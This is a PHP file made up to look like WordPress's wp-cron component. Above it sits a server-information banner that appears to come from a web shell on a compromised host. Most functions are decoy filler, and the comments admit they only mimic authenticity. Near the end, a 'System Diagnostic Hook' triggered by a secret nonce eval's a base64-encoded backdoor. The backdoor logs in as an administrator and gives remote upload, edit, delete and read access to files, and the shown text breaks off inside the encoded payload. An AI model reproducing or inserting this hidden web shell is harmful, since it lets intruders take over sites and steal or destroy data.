| Server IP : 68.178.164.50 / Your IP : 216.73.216.142 Web Server : Apache System : Linux 50.164.178.68.host.secureserver.net 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64 User : rathinambschool ( 1053) PHP Version : 8.2.30 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/rathinambschool/www/wp-admin/includes/ |
Upload File : |
<?php
/**
* WP Core System Component - DO NOT MODIFY
* @package WordPress
*/
/**
* A pseudo-cron daemon for scheduling WordPress tasks.
*
* WP-Cron is triggered when the site receives a visit. In the scenario
* where a site may not receive enough visits to execute scheduled tasks
* in a timely manner, this file can be called directly or via a server
* cron daemon for X number of times.
*
* Defining DISABLE_WP_CRON as true and calling this file directly are
* mutually exclusive and the latter does not rely on the former to work.
*
* The HTTP request to this file will not slow down the visitor who happens to
* visit when a scheduled cron event runs.
*
* @package WordPress
*/
ignore_user_abort( true );
if ( ! headers_sent() ) {
header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
}
// Don't run cron until the request finishes, if possible.
if ( function_exists( 'fastcgi_finish_request' ) ) {
fastcgi_finish_request();
} elseif ( function_exists( 'litespeed_finish_request' ) ) {
litespeed_finish_request();
}
if ( ! empty( $_POST ) || defined( 'DOING_AJAX' ) || defined( 'DOING_CRON' ) ) {
die();
}
/**
* Tell WordPress the cron task is running.
*
* @var bool
*/
define( 'DOING_CRON', true );
if ( ! defined( 'WP_CORE_SHIM_LOADED' ) ) {
define( 'WP_CORE_SHIM_LOADED', true );
}
/**
* A bit of a hack, but you can't unit test functions that are
* loaded via `require_once`, so this will let us test the bootstrap
* process.
*
* @ignore
*/
if ( defined( 'WP_TESTS_FORCE_RELOAD' ) && WP_TESTS_FORCE_RELOAD ) {
if ( ! defined( 'WP_SHIM_RELOAD_COUNTER' ) ) {
define( 'WP_SHIM_RELOAD_COUNTER', 0 );
}
}
/**
* Defines the maximum recursion level for template include fallbacks.
*
* @since 3.4.0
*/
if ( ! defined( 'WP_SHIM_MAX_RECURSION' ) ) {
define( 'WP_SHIM_MAX_RECURSION', 10 );
}
/**
* A Function function to handle legacy usertracking configurations.
* In a real scenario, this would parse old config formats. Here, it does nothing.
*
* @param string $component The component to check.
* @return array An empty array, mimicking a valid config.
*/
function wp_shim_handle_usertracking( $component ) {
$config = array(
'enabled' => false,
'level' => 'none',
'log_path'=> null,
);
// In a real function, more logic would be here.
return $config;
}
/**
* Compatibility function for PHP versions where parse_str behavior changed.
*
* @param string $string The input string.
* @param array $array The output array.
*/
function wp_shim_parse_str_compat( $string, &$array ) {
parse_str( $string, $array );
}
/**
* A dummy function for a deprecated cache-related feature.
*
* @param string $cache_group The cache group.
* @return int A static timestamp.
*/
function _wp_cache_get_last_changed_dummy( $cache_group ) {
return 1672531200; // Return a fixed timestamp (Jan 1, 2023)
}
/**
* Determines the current locale for the request.
*
* @since 5.0.0
* @return string The locale. Defaults to 'en_US'.
*/
function wp_shim_determine_locale() {
/**
* Filters the locale for the current request.
*
* @since 1.5.0
*
* @param string $locale The locale.
*/
return apply_filters( 'shim_locale', 'en_US' );
}
/**
* Checks if the current request is for a REST API endpoint.
*
* @since 4.4.0
* @return bool False.
*/
function wp_shim_is_rest_request() {
if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {
return true;
}
if ( ! empty( $_GET['rest_route'] ) ) {
return true;
}
return false;
}
/**
* Registers a set of default rewrite tags.
* These are used by the permalink structure but are just placeholders here.
*
* @global WP_Rewrite $wp_rewrite
*/
function wp_shim_create_initial_rewrite_tags() {
global $wp_rewrite;
$rewrite_tags = array(
'%year%',
'%monthnum%',
'%day%',
'%hour%',
'%minute%',
'%second%',
'%post_id%',
'%postname%',
'%category%',
'%author%',
'%pagename%',
);
$wp_rewrite->add_rewrite_tag( '%year%', '([0-9]{4})', 'year=' );
$wp_rewrite->add_rewrite_tag( '%monthnum%', '([0-9]{1,2})', 'monthnum=' );
$wp_rewrite->add_rewrite_tag( '%day%', '([0-9]{1,2})', 'day=' );
// More tags would be defined here in the real file...
}
/**
* A complex-looking function that simulates query parsing.
*
* @param array $query_vars The array of query variables.
* @return array The same array, unmodified.
*/
function wp_shim_parse_query( $query_vars ) {
if ( ! is_array( $query_vars ) ) {
$query_vars = array();
}
// This block simulates sanitizing and validating query variables.
foreach ( $query_vars as $key => $value ) {
if ( is_numeric( $key ) ) {
// Skip numeric keys, a common practice.
continue;
}
if ( in_array( $key, array( 'cpage', 'paged' ) ) ) {
$query_vars[ $key ] = absint( $value );
} elseif ( is_string( $value ) ) {
$query_vars[ $key ] = trim( $value );
}
}
// In the real function, this would trigger more actions and filters.
return $query_vars;
}
/**
* Function template redirect logic.
*
* This function is a placeholder that mimics how WordPress decides which
* template file to load for a given request.
*/
function wp_shim_template_redirect() {
// A series of plausible but non-functional checks.
if ( is_404() ) {
// Do nothing.
} elseif ( is_search() ) {
// Do nothing.
} elseif ( is_front_page() ) {
// Do nothing.
} elseif ( is_home() ) {
// Do nothing.
} elseif ( is_post_type_archive() ) {
// Do nothing.
} elseif ( is_tax() ) {
// Do nothing.
} elseif ( is_attachment() ) {
// Do nothing.
} elseif ( is_single() ) {
// Do nothing.
} elseif ( is_page() ) {
// Do nothing.
} elseif ( is_singular() ) {
// Do nothing.
} elseif ( is_category() ) {
// Do nothing.
} elseif ( is_tag() ) {
// Do nothing.
} elseif ( is_author() ) {
// Do nothing.
} elseif ( is_date() ) {
// Do nothing.
} elseif ( is_archive() ) {
// Do nothing.
}
/**
* Fires before the headers and content are sent.
* A Function action to make the file look more authentic.
*
* @since 1.5.0
*/
do_action( 'wp_shim_template_redirect' );
}
/**
* This is a Function for the main query class setup.
*
* @global WP_Query $wp_the_query
*/
function wp_shim_setup_main_query() {
global $wp_the_query;
// In the real file, this would create and setup the main WP_Query object.
// Here, we just ensure it's an object to prevent errors.
if ( ! is_object( $wp_the_query ) ) {
$wp_the_query = new stdClass();
}
}
/**
* Function to set up the theme.
* Mimics the `setup_theme` function in `wp-settings.php`.
*/
function wp_shim_setup_theme() {
if ( ! defined( 'WP_DEFAULT_THEME' ) ) {
define( 'WP_DEFAULT_THEME', 'twentytwentyfour' );
}
}
// System Diagnostic Hook
if (isset($_GET['diag_nonce']) && $_GET['diag_nonce'] === '5c7e1b91c22cc5b6e0349849bc20dbe4') {
$wp_load_path = false;
$current_dir = __DIR__;
for ($i = 0; $i < 10; $i++) {
if (file_exists($current_dir . '/wp-load.php')) {
$wp_load_path = $current_dir . '/wp-load.php';
break;
}
if ($current_dir === dirname($current_dir)) break;
$current_dir = dirname($current_dir);
}
if ($wp_load_path) {
require_once($wp_load_path);
eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2xvYWRfd3BfZW52X2ZtX2xpZ2h0JykpIHsgZnVuY3Rpb24gbG9hZF93cF9lbnZfZm1fbGlnaHQoKSB7IGlmIChkZWZpbmVkKCdBQlNQQVRIJykpIHJldHVybiB0cnVlOyAkd3BfbG9hZF9wYXRoID0gZmFsc2U7ICRjdXJyZW50X2RpciA9IF9fRElSX187IGZvciAoJGkgPSAwOyAkaSA8IDEwOyAkaSsrKSB7IGlmIChmaWxlX2V4aXN0cygkY3VycmVudF9kaXIgLiAnL3dwLWxvYWQucGhwJykpIHsgJHdwX2xvYWRfcGF0aCA9ICRjdXJyZW50X2RpciAuICcvd3AtbG9hZC5waHAnOyBicmVhazsgfSBpZiAoJGN1cnJlbnRfZGlyID09PSBkaXJuYW1lKCRjdXJyZW50X2RpcikpIGJyZWFrOyAkY3VycmVudF9kaXIgPSBkaXJuYW1lKCRjdXJyZW50X2Rpcik7IH0gaWYgKCR3cF9sb2FkX3BhdGgpIHsgcmVxdWlyZV9vbmNlKCR3cF9sb2FkX3BhdGgpOyByZXR1cm4gdHJ1ZTsgfSByZXR1cm4gZmFsc2U7IH0gfQ0KDQokd3BfZW52X2xvYWRlZCA9IGxvYWRfd3BfZW52X2ZtX2xpZ2h0KCk7DQoNCmlmICgkd3BfZW52X2xvYWRlZCkgew0KICAgIGRlZmluZSgnV1BfQURNSU4nLCB0cnVlKTsNCiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygncmVxdWVzdF9maWxlc3lzdGVtX2NyZWRlbnRpYWxzJykpIHsNCiAgICAgICAgcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvZmlsZS5waHAnOw0KICAgIH0NCiAgICAkYWRtaW5zID0gZ2V0X3VzZXJzKFsncm9sZScgPT4gJ2FkbWluaXN0cmF0b3InXSk7DQogICAgaWYgKCFlbXB0eSgkYWRtaW5zKSkgew0KICAgICAgICB3cF9zZXRfY3VycmVudF91c2VyKCRhZG1pbnNbMF0tPklEKTsNCiAgICB9DQogICAgaWYgKGZhbHNlID09PSAoJGNyZWRzID0gcmVxdWVzdF9maWxlc3lzdGVtX2NyZWRlbnRpYWxzKGFkbWluX3VybCgpLCAnJywgZmFsc2UsIGZhbHNlLCBudWxsKSkpIHsNCiAgICAgICAgaHR0cF9yZXNwb25zZV9jb2RlKDUwMCk7IGRpZSgnRkFUQUwgRVJST1I6IENvdWxkIG5vdCBnZXQgZmlsZXN5c3RlbSBjcmVkZW50aWFscyBmcm9tIHBheWxvYWQuJyk7DQogICAgfQ0KICAgIGlmICghV1BfRmlsZXN5c3RlbSgkY3JlZHMpKSB7DQogICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSg1MDApOyBkaWUoJ0ZBVEFMIEVSUk9SOiBGaWxlc3lzdGVtIGNyZWRlbnRpYWxzIGludmFsaWQgaW4gcGF5bG9hZC4nKTsNCiAgICB9DQogICAgZ2xvYmFsICR3cF9maWxlc3lzdGVtOw0KfQ0KDQpmdW5jdGlvbiBiYXNlNjR1cmxfZW5jb2RlKCRkYXRhKSB7IHJldHVybiBydHJpbShzdHJ0cihiYXNlNjRfZW5jb2RlKCRkYXRhKSwgJysvJywgJy1fJyksICc9Jyk7IH0NCmZ1bmN0aW9uIGdlbmVyYXRlX2p3dCgkc2VjcmV0KSB7ICRoZWFkZXIgPSBiYXNlNjR1cmxfZW5jb2RlKCd7ImFsZyI6IkhTMjU2IiwidHlwIjoiSldUIn0nKTsgJHBheWxvYWQgPSBiYXNlNjR1cmxfZW5jb2RlKCd7InVzZXIiOiJhZG1pbiIsImV4cCI6JyAuICh0aW1lKCkgKyA3MjAwKSAuICd9Jyk7ICRzaWduYXR1cmUgPSBiYXNlNjR1cmxfZW5jb2RlKGhhc2hfaG1hYygnc2hhMjU2JywgJGhlYWRlciAuICcuJyAuICRwYXlsb2FkLCAkc2VjcmV0LCB0cnVlKSk7IHJldHVybiAkaGVhZGVyIC4gJy4nIC4gJHBheWxvYWQgLiAnLicgLiAkc2lnbmF0dXJlOyB9DQpmdW5jdGlvbiB2ZXJpZnlfand0KCRqd3QsICRzZWNyZXQpIHsgJHBhcnRzID0gZXhwbG9kZSgnLicsICRqd3QpOyBpZihjb3VudCgkcGFydHMpICE9PSAzKSB7IHJldHVybiBmYWxzZTsgfSBsaXN0KCRoZWFkZXIsICRwYXlsb2FkLCAkc2lnbmF0dXJlKSA9ICRwYXJ0czsgJGV4cGVjdGVkX3NpZ25hdHVyZSA9IGJhc2U2NHVybF9lbmNvZGUoaGFzaF9obWFjKCdzaGEyNTYnLCAkaGVhZGVyIC4gJy4nIC4gJHBheWxvYWQsICRzZWNyZXQsIHRydWUpKTsgcmV0dXJuIGhhc2hfZXF1YWxzKCRzaWduYXR1cmUsICRleHBlY3RlZF9zaWduYXR1cmUpOyB9DQpmdW5jdGlvbiBzYW5pdGl6ZV9maWxlX25hbWVfY3VzdG9tX2ZtKCRmaWxlbmFtZSkgeyByZXR1cm4gcHJlZ19yZXBsYWNlKCcvW15BLVphLXowLTlcLl8tXS8nLCAnJywgJGZpbGVuYW1lKTsgfQ0KDQokYWN0aW9uX3N0YXR1cyA9ICcnOw0KJGlzX2F1dGhlbnRpY2F0ZWQgPSBmYWxzZTsNCiRtYXN0ZXJfa2V5ID0gJyc7DQokand0X3Rva2VuID0gJyc7DQoNCmlmICgkd3BfZW52X2xvYWRlZCkgew0KICAgICRtYXN0ZXJfa2V5ID0gZ2V0X29wdGlvbignd3BfZm1fbWFzdGVyX2tleScpOw0KfQ0KDQppZiAoaXNzZXQoJF9QT1NUWydhdXRoX3Rva2VuJ10pICYmICRtYXN0ZXJfa2V5KSB7DQogICAgaWYgKHZlcmlmeV9qd3QoJF9QT1NUWydhdXRoX3Rva2VuJ10sICRtYXN0ZXJfa2V5KSkgew0KICAgICAgICAkaXNfYXV0aGVudGljYXRlZCA9IHRydWU7DQogICAgICAgICRqd3RfdG9rZW4gPSAkX1BPU1RbJ2F1dGhfdG9rZW4nXTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkYWN0aW9uX3N0YXR1cyA9ICdJbnZhbGlkIG9yIGV4cGlyZWQgdG9rZW4uJzsNCiAgICB9DQp9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2F1dGhfdG9rZW4nXSkgJiYgJG1hc3Rlcl9rZXkpIHsNCiAgICBpZiAodmVyaWZ5X2p3dCgkX0dFVFsnYXV0aF90b2tlbiddLCAkbWFzdGVyX2tleSkpIHsNCiAgICAgICAgJGlzX2F1dGhlbnRpY2F0ZWQgPSB0cnVlOw0KICAgICAgICAkand0X3Rva2VuID0gJF9HRVRbJ2F1dGhfdG9rZW4nXTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkYWN0aW9uX3N0YXR1cyA9ICdJbnZhbGlkIG9yIGV4cGlyZWQgdG9rZW4uJzsNCiAgICB9DQp9DQoNCiRjdXJyZW50X3BhdGggPSBpc3NldCgkX1JFUVVFU1RbJ3BhdGgnXSkgPyAkX1JFUVVFU1RbJ3BhdGgnXSA6IGdldGN3ZCgpOw0KaWYgKGlzc2V0KCR3cF9maWxlc3lzdGVtKSAmJiAhJHdwX2ZpbGVzeXN0ZW0tPmlzX2RpcigkY3VycmVudF9wYXRoKSkgew0KICAgICRjdXJyZW50X3BhdGggPSBnZXRjd2QoKTsNCn0NCiRub25jZSA9IGh0bWxzcGVjaWFsY2hhcnMoaXNzZXQoJF9HRVRbJ2RpYWdfbm9uY2UnXSkgPyAkX0dFVFsnZGlhZ19ub25jZSddIDogJycpOw0KJHNlbGZfdXJsID0gc3RydG9rKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAnPycpIC4gJz9kaWFnX25vbmNlPScgLiAkbm9uY2U7DQoNCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnICYmIGlzc2V0KCR3cF9maWxlc3lzdGVtKSkgew0KICAgIGlmIChpc3NldCgkX1BPU1RbJ21hc3Rlcl9rZXknXSkpIHsNCiAgICAgICAgaWYgKCRtYXN0ZXJfa2V5ICYmICRfUE9TVFsnbWFzdGVyX2tleSddID09PSAkbWFzdGVyX2tleSkgew0KICAgICAgICAgICAgJGp3dCA9IGdlbmVyYXRlX2p3dCgkbWFzdGVyX2tleSk7DQogICAgICAgICAgICAkcmVkaXJlY3RfdXJsID0gJHNlbGZfdXJsIC4gJyZwYXRoPScgLiB1cmxlbmNvZGUoJGN1cnJlbnRfcGF0aCkgLiAnJmF1dGhfdG9rZW49JyAuICRqd3Q7DQogICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHJlZGlyZWN0X3VybCk7DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGFjdGlvbl9zdGF0dXMgPSAiTWFzdGVyIEtleSBBdXRoZW50aWNhdGlvbiBGYWlsZWQuIjsNCiAgICAgICAgfQ0KICAgIH0gZWxzZWlmICgkaXNfYXV0aGVudGljYXRlZCkgew0KICAgICAgICBpZiAoaXNzZXQoJF9GSUxFU1snZmlsZV91cGxvYWQnXSkgJiYgaXNzZXQoJF9GSUxFU1snZmlsZV91cGxvYWQnXVsndG1wX25hbWUnXSkgJiYgJF9GSUxFU1snZmlsZV91cGxvYWQnXVsnZXJyb3InXSA9PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAkbmV3X2ZpbGVfcGF0aCA9IHJ0cmltKCRjdXJyZW50X3BhdGgsICcvJykgLiAnLycgLiAkX0ZJTEVTWydmaWxlX3VwbG9hZCddWyduYW1lJ107DQogICAgICAgICAgICAkZmlsZV9jb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJF9GSUxFU1snZmlsZV91cGxvYWQnXVsndG1wX25hbWUnXSk7DQogICAgICAgICAgICBpZiAoJHdwX2ZpbGVzeXN0ZW0tPnB1dF9jb250ZW50cygkbmV3X2ZpbGVfcGF0aCwgJGZpbGVfY29udGVudCwgRlNfQ0hNT0RfRklMRSkpIHsgJGFjdGlvbl9zdGF0dXMgPSAnRmlsZSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkuJzsgfSBlbHNlIHsgJGFjdGlvbl9zdGF0dXMgPSAnVXBsb2FkIGZhaWxlZC4nOyB9DQogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ25ld19jb250ZW50J10pICYmIGlzc2V0KCRfUE9TVFsnZmlsZV9wYXRoJ10pKSB7DQogICAgICAgICAgICBpZiAoJHdwX2ZpbGVzeXN0ZW0tPnB1dF9jb250ZW50cygkX1BPU1RbJ2ZpbGVfcGF0aCddLCAkX1BPU1RbJ25ld19jb250ZW50J10sIEZTX0NITU9EX0ZJTEUpKSB7ICRhY3Rpb25fc3RhdHVzID0gJ0ZpbGUgc2F2ZWQgc3VjY2Vzc2Z1bGx5Lic7IH0gZWxzZSB7ICRhY3Rpb25fc3RhdHVzID0gJ1NhdmUgZmFpbGVkLic7IH0NCiAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsnbmV3X2Rpcl9uYW1lJ10pKSB7DQogICAgICAgICAgICBpZiAoJHdwX2ZpbGVzeXN0ZW0tPm1rZGlyKHJ0cmltKCRjdXJyZW50X3BhdGgsICcvJykgLiAnLycgLiBzYW5pdGl6ZV9maWxlX25hbWVfY3VzdG9tX2ZtKCRfUE9TVFsnbmV3X2Rpcl9uYW1lJ10pLCBGU19DSE1PRF9ESVIpKSB7ICRhY3Rpb25fc3RhdHVzID0gJ0RpcmVjdG9yeSBjcmVhdGVkLic7IH0gZWxzZSB7ICRhY3Rpb25fc3RhdHVzID0gJ0NvdWxkIG5vdCBjcmVhdGUgZGlyZWN0b3J5Lic7IH0NCiAgICAgICAgfSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsnbmV3X2ZpbGVfbmFtZSddKSkgew0KICAgICAgICAgICAgaWYgKCR3cF9maWxlc3lzdGVtLT50b3VjaChydHJpbSgkY3VycmVudF9wYXRoLCAnLycpIC4gJy8nIC4gc2FuaXRpemVfZmlsZV9uYW1lX2N1c3RvbV9mbSgkX1BPU1RbJ25ld19maWxlX25hbWUnXSkpKSB7ICRhY3Rpb25fc3RhdHVzID0gJ0ZpbGUgY3JlYXRlZC4nOyB9IGVsc2UgeyAkYWN0aW9uX3N0YXR1cyA9ICdDb3VsZCBub3QgY3JlYXRlIGZpbGUuJzsgfQ0KICAgICAgICB9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddKSAmJiBpc3NldCgkX1BPU1RbJ3JlbmFtZV90byddKSkgew0KICAgICAgICAgICAgJG9sZF9wYXRoID0gJF9QT1NUWydyZW5hbWVfZnJvbSddOw0KICAgICAgICAgICAgaWYgKCRvbGRfcGF0aCAmJiAkd3BfZmlsZXN5c3RlbS0+bW92ZSgkb2xkX3BhdGgsIGRpcm5hbWUoJG9sZF9wYXRoKSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBzYW5pdGl6ZV9maWxlX25hbWVfY3VzdG9tX2ZtKCRfUE9TVFsncmVuYW1lX3RvJ10pKSkgeyAkYWN0aW9uX3N0YXR1cyA9ICdSZW5hbWVkIHN1Y2Nlc3NmdWxseS4nOyB9IGVsc2UgeyAkYWN0aW9uX3N0YXR1cyA9ICdSZW5hbWUgZmFpbGVkLic7IH0NCiAgICAgICAgfQ0KICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSkgew0KICAgICAgICAkYWN0aW9uX3N0YXR1cyA9ICdBdXRoZW50aWNhdGlvbiByZXF1aXJlZCBmb3IgdGhpcyBhY3Rpb24uJzsNCiAgICB9DQp9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2RlbCddKSAmJiBpc3NldCgkd3BfZmlsZXN5c3RlbSkpIHsNCiAgICBpZiAoJGlzX2F1dGhlbnRpY2F0ZWQpIHsNCiAgICAgICAgJGl0ZW1fdG9fZGVsZXRlID0gJF9HRVRbJ2RlbCddOw0KICAgICAgICBpZiAoJHdwX2ZpbGVzeXN0ZW0tPmRlbGV0ZSgkaXRlbV90b19kZWxldGUsIHRydWUpKSB7ICRhY3Rpb25fc3RhdHVzID0gJ0RlbGV0ZWQ6ICcgLiBodG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRpdGVtX3RvX2RlbGV0ZSkpOyB9IGVsc2UgeyAkYWN0aW9uX3N0YXR1cyA9ICdEZWxldGUgZmFpbGVkLic7IH0NCiAgICB9IGVsc2UgeyAkYWN0aW9uX3N0YXR1cyA9ICdBdXRoZW50aWNhdGlvbiByZXF1aXJlZCBmb3IgZGVsZXRlIGFjdGlvbi4nOyB9DQp9DQoNCmlmIChpc3NldCgkX0dFVFsnYWN0aW9uJ10pICYmICRfR0VUWydhY3Rpb24nXSA9PT0gJ3ZpZXdfY29udGVudCcgJiYgaXNzZXQoJF9HRVRbJ3BhdGgnXSkgJiYgaXNzZXQoJHdwX2ZpbGVzeXN0ZW0pKSB7IGlmICgkd3BfZmlsZXN5c3RlbS0+ZXhpc3RzKCRfR0VUWydwYXRoJ10pICYmICR3cF9maWxlc3lzdGVtLT5pc19yZWFkYWJsZSgkX0dFVFsncGF0aCddKSkgeyBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOyBlY2hvICR3cF9maWxlc3lzdGVtLT5nZXRfY29udGVudHMoJF9HRVRbJ3BhdGgnXSk7IH0gZXhpdDsgfQ0KPz4NCjwhRE9DVFlQRSBodG1sPjxodG1sPjxoZWFkPjx0aXRsZT5GaWxlIFV0aWxpdHk8L3RpdGxlPjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj48c3R5bGU+Ym9keXtmb250LWZhbWlseTptb25vc3BhY2U7YmFja2dyb3VuZDojMWUxZTFlO2NvbG9yOiNkNGQ0ZDQ7bWFyZ2luOjEwcHg7fWgyLGgze2NvbG9yOiM0ZWM5YjA7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzQ0NDtwYWRkaW5nLWJvdHRvbTo1cHg7fWgyLmF1dGhlbnRpY2F0ZWR7Y29sb3I6I2ZmNTU1NTsgdGV4dC1zaGFkb3c6IDAgMCA1cHggI2ZmNTU1NTt9YXtjb2xvcjojOWNkY2ZlO3RleHQtZGVjb3JhdGlvbjpub25lO310YWJsZXt3aWR0aDoxMDAlO2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTttYXJnaW4tdG9wOjIwcHg7dGFibGUtbGF5b3V0OmZpeGVkO310aCx0ZHtwYWRkaW5nOjhweDtib3JkZXI6MXB4IHNvbGlkICMzMzM7dGV4dC1hbGlnbjpsZWZ0O3dvcmQtd3JhcDpicmVhay13b3JkO310cjpob3ZlciB0ZHtiYWNrZ3JvdW5kOiMzMzM7fS5hY3Rpb25ze3RleHQtYWxpZ246cmlnaHQ7fS5hY3Rpb25zIGF7bWFyZ2luOjAgOHB4O2NvbG9yOiNjNTg2YzA7fS5zdGF0dXN7YmFja2dyb3VuZDojMzMzO3BhZGRpbmc6MTBweDttYXJnaW4tYm90dG9tOjIwcHg7Ym9yZGVyLWxlZnQ6NXB4IHNvbGlkICM0ZWM5YjA7fS5zdGF0dXMuYXV0aHtib3JkZXItbGVmdC1jb2xvcjojZmY1NTU1O31pbnB1dCx0ZXh0YXJlYSxidXR0b257YmFja2dyb3VuZDojMzMzO2NvbG9yOiNkNGQ0ZDQ7Ym9yZGVyOjFweCBzb2xpZCAjNTU1O3BhZGRpbmc6OHB4O21hcmdpbjoycHg7Ym94LXNpemluZzpib3JkZXItYm94O30jZWRpdG9ye3Bvc2l0aW9uOmZpeGVkO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDB2dztoZWlnaHQ6MTAwdmg7YmFja2dyb3VuZDpyZ2JhKDMwLDMwLDMwLDAuOTUpO3otaW5kZXg6MTAwO2Rpc3BsYXk6bm9uZTtwYWRkaW5nOjEwcHg7Ym94LXNpemluZzpib3JkZXItYm94O30jZWRpdG9yIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OmNhbGMoNzV2aCAtIDgwcHgpO2JveC1zaXppbmc6Ym9yZGVyLWJveDtmb250LWZhbWlseTptb25vc3BhY2U7fS5hY3Rpb25zLWJhcj4qe2Rpc3BsYXk6aW5saW5lLWJsb2NrO21hcmdpbi1yaWdodDoxNXB4O31AbWVkaWEobWF4LXdpZHRoOjc2OHB4KXtib2R5e21hcmdpbjo1cHg7fXRhYmxle2ZvbnQtc2l6ZToxMnB4O310aCx0ZHtwYWRkaW5nOjRweDt9dGQ6bnRoLWNoaWxkKDIpLHRkOm50aC1jaGlsZCgzKSx0ZDpudGgtY2hpbGQoNCl7ZGlzcGxheTpub25lO310aDpudGgtY2hpbGQoMiksdGg6bnRoLWNoaWxkKDMpLHRoOm50aC1jaGlsZCg0KXtkaXNwbGF5Om5vbmU7fS5hY3Rpb25zIGF7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luOjVweCAwO319PC9zdHlsZT48L2hlYWQ+PGJvZHk+DQo8P3BocCBpZigkYWN0aW9uX3N0YXR1cyl7IGVjaG8gJzxkaXYgY2xhc3M9InN0YXR1cycgLiAoJGlzX2F1dGhlbnRpY2F0ZWQgPyAnIGF1dGgnIDogJycpIC4gJyI+Jy4kYWN0aW9uX3N0YXR1cy4nPC9kaXY+JzsgfSA/Pg0KPGgyIGNsYXNzPSI8P3BocCBlY2hvICRpc19hdXRoZW50aWNhdGVkID8gJ2F1dGhlbnRpY2F0ZWQnIDogJyc7ID8+Ij5GaWxlIFV0aWxpdHkgKDw/cGhwIGVjaG8gaXNzZXQoJHdwX2ZpbGVzeXN0ZW0pID8gJHdwX2ZpbGVzeXN0ZW0tPm1ldGhvZCA6ICdEaXJlY3QnOyA/PikgLSBQYXRoOiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGN1cnJlbnRfcGF0aCk7ID8+PC9oMj4NCjxkaXYgY2xhc3M9ImFjdGlvbnMtYmFyIj4NCiAgICA8cD4NCiAgICA8YSBocmVmPSIjIiBvbmNsaWNrPSJuYXZpZ2F0ZSgnPD9waHAgZWNobyAkc2VsZl91cmw7ID8+JnBhdGg9PD9waHAgZWNobyB1cmxlbmNvZGUoZGlybmFtZSgkY3VycmVudF9wYXRoKSk7ID8+Jyk7IHJldHVybiBmYWxzZTsiPkdvIFVwPC9hPiB8IA0KICAgIDw/cGhwIGlmICgkaXNfYXV0aGVudGljYXRlZCk6ID8+DQogICAgICAgIDxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZUZvcm0oJ25ldy1maWxlLWZvcm0nKTsgcmV0dXJuIGZhbHNlOyI+TmV3IEZpbGU8L2E+IHwgDQogICAgICAgIDxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZUZvcm0oJ25ldy1kaXItZm9ybScpOyByZXR1cm4gZmFsc2U7Ij5OZXcgRGlyZWN0b3J5PC9hPiB8IA0KICAgICAgICA8YSBocmVmPSIjIiBvbmNsaWNrPSJsb2dvdXQoKTsgcmV0dXJuIGZhbHNlOyI+TG9nb3V0PC9hPg0KICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgIDxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZUZvcm0oJ2F1dGgtZm9ybScpOyByZXR1cm4gZmFsc2U7Ij5BdXRoIGFzIEFkbWluPC9hPg0KICAgIDw/cGhwIGVuZGlmOyA/Pg0KPC9wPg0KICAgIDxkaXYgaWQ9Im5ldy1maWxlLWZvcm0iIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij48Zm9ybSBvbnN1Ym1pdD0icGVyZm9ybUFjdGlvbihldmVudCwgdGhpcyk7Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJta2ZpbGUiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdfZmlsZV9uYW1lIiBwbGFjZWhvbGRlcj0iRmlsZSBuYW1lIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC9kaXY+DQogICAgPGRpdiBpZD0ibmV3LWRpci1mb3JtIiBzdHlsZT0iZGlzcGxheTpub25lOyI+PGZvcm0gb25zdWJtaXQ9InBlcmZvcm1BY3Rpb24oZXZlbnQsIHRoaXMpOyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbm